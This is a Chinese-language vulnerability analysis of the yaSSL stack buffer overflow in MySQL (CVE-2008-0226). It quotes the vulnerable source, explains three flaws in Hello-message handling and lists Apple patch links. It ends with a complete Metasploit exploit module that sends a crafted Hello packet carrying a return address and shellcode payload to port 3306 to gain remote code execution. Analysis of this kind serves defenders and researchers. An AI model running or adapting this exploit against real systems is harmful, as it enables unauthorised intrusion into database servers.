漏洞介绍和分析
yaSSL是用于实现SSL的开源软件包。
yaSSL实现上存在多个远程溢出及无效内存访问问题,远程攻击者可能利用此漏洞控制服务器。
向堆栈缓冲区溢出的yaSSL(1.7.5和更早的版本)实现与MySQL捆绑< = 6.0。通过发送一个专门制作的HEllo 包 ,攻击者可以执行任意代码。
代码分析:
用于包含客户端所接收的Hello报文中的数据的缓冲区结构如下(源自yassl_imp.hpp):
class ClientHello : public HandShakeBase {
ProtocolVersion client_version_;
Random random_;
uint8 id_len_; // session id length
opaque session_id_[ID_LEN];
uint16 suite_len_; // cipher suite length
opaque cipher_suites_[MAX_SUITE_SZ];
uint8 comp_len_; // compression length
CompressionMethod compression_methods_;
...
这里ID_LEN长度为32个单元,MAX_SUITE_SZ为64,RAN_LEN (Random)为32。如果接收到了旧版的Hello报文的话,所调用的ProcessOldClientHello函数没有执行必要的检查来限制填充上述3个字段的数据数量,导致缓冲区溢出漏洞。
以下是handshake.cpp中的漏洞代码:
void ProcessOldClientHello(input_buffer& input, SSL& ssl)
...
ClientHello ch;
...
for (uint16 i = 0; i < ch.suite_len_; i += 3) {
byte first = input[AUTO];
if (first) // sslv2 type
input.read(len, SUITE_LEN); // skip
else {
input.read(&ch.cipher_suites_[j], SUITE_LEN);
j += SUITE_LEN;
}
}
ch.suite_len_ = j;
if (ch.id_len_)
input.read(ch.session_id_, ch.id_len_);
if (randomLen < RAN_LEN)
memset(ch.random_, 0, RAN_LEN - randomLen);
input.read(&ch.random_[RAN_LEN - randomLen], randomLen);
...
------------------------------------------------
B] input_buffer& operator>>缓冲区溢出
------------------------------------------------
用于处理Hello报文的函数中存在另一个缓冲区溢出,但基本不太可能利用这个溢出执行代码。以下是yassl_imp.cpp中的漏洞代码:
input_buffer& operator>>(input_buffer& input, ClientHello& hello)
...
hello.id_len_ = input[AUTO];
if (hello.id_len_) input.read(hello.session_id_, ID_LEN);
// Suites
byte tmp[2];
tmp[0] = input[AUTO];
tmp[1] = input[AUTO];
ato16(tmp, hello.suite_len_);
input.read(hello.cipher_suites_, hello.suite_len_);
...
-----------------------------------------------------
C] HASHwithTransform::Update无效内存访问
-----------------------------------------------------
在Hello报文中使用了过大的大小值会由于越界读取内存而导致函数库崩溃。以下是hash.cpp中的漏洞代码:
void HASHwithTransform::Update(const byte* data, word32 len)
{
// do block size increments
word32 blockSz = getBlockSize();
byte* local = reinterpret_cast(buffer_);
while (len) {
word32 add = min(len, blockSz - buffLen_);
memcpy(&local[buffLen_], data, add);
...
}
利用如下payload 发送我们构造的hello packeg 导致缓冲区溢出
2.漏洞修复
目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
Apple Mac OS X Server 10.4.11
Apple SecUpdSrvr2008-007PPC.dmg
(PPC)
http://www.apple.com/support/downloads/securityupdate2008007serverppc. html
Apple SecUpdSrvr2008-007Univ.dmg
(Universal)
http://www.apple.com/support/downloads/securityupdate2008007serveruniv ersal.html
Apple Mac OS X 10.4.11
Apple SecUpd2008-007Intel.dmg
(Intel)
http://www.apple.com/support/downloads/securityupdate2008007clientinte l.html
Apple SecUpd2008-007PPC.dmg
(PPC)
http://www.apple.com/support/downloads/securityupdate2008007clientppc. html
Apple Mac OS X Server 10.5.5
Apple SecUpdSrvr2008-007.dmg
http://www.apple.com/support/downloads/securityupdate2008007serverleop ard.html
Apple Mac OS X 10.5.5
Apple SecUpd2008-007.dmg
http://www.apple.com/support/downloads/securityupdate2008007clientleop ard.html
Apple Mac OS X Server 10.5.5
Apple SecUpdSrvr2008-007.dmg
http://www.apple.com/support/downloads/securityupdate2008007serverleop ard.html
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the yaSSL (1.7.5 and earlier)
implementation bundled with MySQL <= 6.0. By sending a specially crafted
Hello packet, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-0226' ],
[ 'OSVDB', '41195' ],
[ 'BID', '27140' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 100,
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
},
'Platform' => 'linux',
'Targets' =>
[
[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 4 2008'))
register_options([ Opt::RPORT(3306)], self.class)
end
def exploit
connect
sock.get_once
req_uno = [0x01000020].pack('V')
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
req_dos << [target.ret].pack('V') + payload.encoded
req_dos << rand_text_alphanumeric(1024)
print_status("Trying target #{target.name}...")
sock.put(req_uno)
sock.put(req_dos)
handler
disconnect
end
end